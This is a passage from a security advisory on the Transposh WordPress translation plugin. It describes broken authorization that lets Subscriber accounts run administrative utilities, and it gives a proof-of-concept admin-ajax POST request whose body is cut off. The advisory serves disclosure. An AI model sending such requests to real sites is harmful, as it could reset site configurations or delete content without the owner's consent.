3. VERSIONS AFFECTED
====================

4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
Transposh does not properly enforce authorization on functionalities available on
the plugin's "Utilities" page leading to unauthorized access for all user roles,
including "Subscriber".

Some of the affected functionality is:
tp_backup - Initiate a new backup
tp_reset - Reset the plugin's configuration
tp_cleanup - Delete automated translations
tp_dedup - Delete duplicates
tp_maint - Fix internal errors
tp_translate_all - Trigger an auto-translation of all entries


6. PROOF OF CONCEPT
===================
An exemplary request to reset the plugin's configuration, send the following
request using a "Subscriber" account:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 15
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
